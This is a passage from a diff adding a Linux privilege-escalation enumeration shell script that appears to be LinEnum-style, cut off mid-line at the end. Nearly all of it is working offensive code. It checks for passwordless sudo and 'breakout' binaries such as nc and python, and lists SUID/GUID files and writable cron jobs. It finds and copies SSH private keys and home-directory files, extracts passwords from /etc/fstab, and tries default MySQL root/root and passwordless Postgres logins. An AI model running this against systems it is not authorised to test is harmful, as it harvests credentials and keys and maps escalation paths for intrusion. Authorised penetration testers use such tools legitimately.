+sudoperms=`echo '' | sudo -S -l 2>/dev/null` +if [ "$sudoperms" ]; then + echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#known 'good' breakout binaries +sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` +if [ "$sudopwnage" ]; then + echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if roots home directory is accessible +rthmdir=`ls -ahl /root/ 2>/dev/null` +if [ "$rthmdir" ]; then + echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#displays /home directory permissions - check if any are lax +homedirperms=`ls -ahl /home/ 2>/dev/null` +if [ "$homedirperms" ]; then + echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#looks for files we can write to that don't belong to us +if [ "$thorough" = "1" ]; then + grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` + if [ "$grfilesall" ]; then + echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi +fi + +#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` + if [ "$wrfileshm" ]; then + echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wrfileshm" ]; then + mkdir $format/wr-files/ 2>/dev/null + for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null + else + : + fi + else + : +fi + +#lists current user's home directory contents +if [ "$thorough" = "1" ]; then +homedircontents=`ls -ahl ~ 2>/dev/null` + if [ "$homedircontents" ] ; then + echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +sshfiles=`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls` + if [ "$sshfiles" ]; then + echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$sshfiles" ]; then + mkdir $format/ssh-files/ 2>/dev/null + for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#is root permitted to login via ssh +sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` +if [ "$sshrootlogin" = "yes" ]; then + echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null + +#current path configuration +pathinfo=`echo $PATH 2>/dev/null` +if [ "$pathinfo" ]; then + echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists available shells +shellinfo=`cat /etc/shells 2>/dev/null` +if [ "$shellinfo" ]; then + echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#current umask value with both octal and symbolic output +umask=`umask -S 2>/dev/null & umask 2>/dev/null` +if [ "$umask" ]; then + echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#umask value as in /etc/login.defs +umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` +if [ "$umaskdef" ]; then + echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#password policy information as stored in /etc/login.defs +logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` +if [ "$logindefs" ]; then + echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$logindefs" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null + +#are there any cron jobs configured +cronjobs=`ls -la /etc/cron* 2>/dev/null` +if [ "$cronjobs" ]; then + echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we manipulate these jobs in any way +cronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$cronjobwwperms" ]; then + echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#contab contents +crontab=`cat /etc/crontab 2>/dev/null` +if [ "$crontab" ]; then + echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` +if [ "$crontabvar" ]; then + echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` +if [ "$anacronjobs" ]; then + echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacrontab=`ls -la /var/spool/anacron 2>/dev/null` +if [ "$anacrontab" ]; then + echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) +cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` +if [ "$cronother" ]; then + echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null + +#nic information +nicinfo=`/sbin/ifconfig -a 2>/dev/null` +if [ "$nicinfo" ]; then + echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#dns settings +nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` +if [ "$nsinfo" ]; then + echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#default route configuration +defroute=`route 2>/dev/null | grep default` +if [ "$defroute" ]; then + echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening TCP +tcpservs=`netstat -antp 2>/dev/null` +if [ "$tcpservs" ]; then + echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening UDP +udpservs=`netstat -anup 2>/dev/null` +if [ "$udpservs" ]; then + echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null + +#running processes +psaux=`ps aux 2>/dev/null` +if [ "$psaux" ]; then + echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lookup process binary path and permissisons +procperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'` +if [ "$procperm" ]; then + echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$procperm" ]; then +procpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'` + mkdir $format/ps-export/ 2>/dev/null + for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null +else + : +fi + +#anything 'useful' in inetd.conf +inetdread=`cat /etc/inetd.conf 2>/dev/null` +if [ "$inetdread" ]; then + echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$inetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each +inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$inetdbinperms" ]; then + echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +xinetdread=`cat /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdread" ]; then + echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$xinetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null +else + : +fi + +xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` +if [ "$xinetdincd" ]; then + echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each +xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$xinetdbinperms" ]; then + echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +initdread=`ls -la /etc/init.d 2>/dev/null` +if [ "$initdread" ]; then + echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initdperms" ]; then + echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` +if [ "$rcdread" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$rcdperms" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` +if [ "$usrrcdread" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#rc.d files NOT belonging to root! +usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$usrrcdperms" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null + +#sudo version - check to see if there are any known vulnerabilities with this +sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` +if [ "$sudover" ]; then + echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql details - if installed +mysqlver=`mysql --version 2>/dev/null` +if [ "$mysqlver" ]; then + echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if root/root will get us a connection +mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` +if [ "$mysqlconnect" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql version details +mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` +if [ "$mysqlconnectnopass" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#postgres details - if installed +postgver=`psql -V 2>/dev/null` +if [ "$postgver" ]; then + echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon1" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon11" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon2" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon22" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#apache details - if installed +apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` +if [ "$apachever" ]; then + echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#what account is apache running under +apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'` +if [ "$apacheusr" ]; then + echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$apacheusr" ]; then + mkdir --parents $format/etc-export/apache2/ 2>/dev/null + cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null + +#checks to see if various files are installed +echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#limited search for installed compilers +compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` +if [ "$compiler" ]; then + echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +#manual check - lists out sensitive files, can we read/modify etc. +echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) +if [ "$thorough" = "1" ]; then +findsuid=`find / -perm -4000 -type f -exec stat -c '%A %n' {} + 2>/dev/null` + if [ "$findsuid" ]; then + echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findsuid" ]; then + mkdir $format/suid-files/ 2>/dev/null + for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' suid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` 2>/dev/null + if [ "$intsuid" ]; then + echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists word-writable suid files +if [ "$thorough" = "1" ]; then +wwsuid=`find / -perm -4007 -type f 2>/dev/null` + if [ "$wwsuid" ]; then + echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable suid files owned by root +if [ "$thorough" = "1" ]; then +wwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null` + if [ "$wwsuidrt" ]; then + echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) +if [ "$thorough" = "1" ]; then +findguid=`find / -perm -2000 -type f 2>/dev/null` + if [ "$findguid" ]; then + echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findguid" ]; then + mkdir $format/guid-files/ 2>/dev/null + for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' guid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` + if [ "$intguid" ]; then + echo -e "\e[00;33m***Possibly interesting GUID files:\e[00m\n$intguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files +if [ "$thorough" = "1" ]; then +wwguid=`find / -perm -2007 -type f 2>/dev/null` + if [ "$wwguid" ]; then + echo -e "\e[00;31mWorld-writable GUID files:\e[00m\n$wwguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable guid files owned by root +if [ "$thorough" = "1" ]; then +wwguidrt=`find / -uid 0 -perm -2007 -type f 2>/dev/null` + if [ "$wwguidrt" ]; then + echo -e "\e[00;31mAWorld-writable GUID files owned by root:\e[00m\n$wwguidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#list all world-writable files excluding /proc +if [ "$thorough" = "1" ]; then +wwfiles=`find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null` + if [ "$wwfiles" ]; then + echo -e "\e[00;31mWorld-writable files (excluding /proc):\e[00m\n$wwfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wwfiles" ]; then + mkdir $format/ww-files/ 2>/dev/null + for i in $wwfiles; do cp --parents $i $format/ww-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#are any .plan files accessible in /home (could contain useful information) +usrplan=`find /home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$usrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$usrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $usrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +bsdusrplan=`find /usr/home -iname *.plan -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$bsdusrplan" ]; then + echo -e "\e[00;31mPlan file permissions and contents:\e[00m\n$bsdusrplan" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdusrplan" ]; then + mkdir $format/plan_files/ 2>/dev/null + for i in $bsdusrplan; do cp --parents $i $format/plan_files/; done 2>/dev/null +else + : +fi + +#are there any .rhosts files accessible - these may allow us to login as another user etc. +rhostsusr=`find /home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$rhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$rhostsusr" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$bsdrhostsusr" ]; then + echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$bsdrhostsusr" ]; then + mkdir $format/rhosts 2>/dev/null + for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` +if [ "$rhostssys" ]; then + echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$rhostssys" ]; then + mkdir $format/rhosts/ 2>/dev/null + for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null +else + : +fi + +#list nfs shares/permisisons etc. +nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` +if [ "$nfsexports" ]; then + echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$nfsexports" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/exports $format/etc-export/exports 2>/dev/null +else + : +fi + +#looking for credentials in /etc/fstab +fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1'| xargs -r echo domain:` +if [ "$fstab" ]; then + echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstab" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'` +if [ "$fstabcred" ]; then + echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +if [ "$export" ] && [ "$fstabcred" ]; then + mkdir $format/etc-exports/ 2>/dev/null + cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null +else + : +fi + +#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ]; then + echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$confkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ]; then + : + else + if [ "$export" ] && [ "$confkey" ]; then + confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null + for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$logkey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where 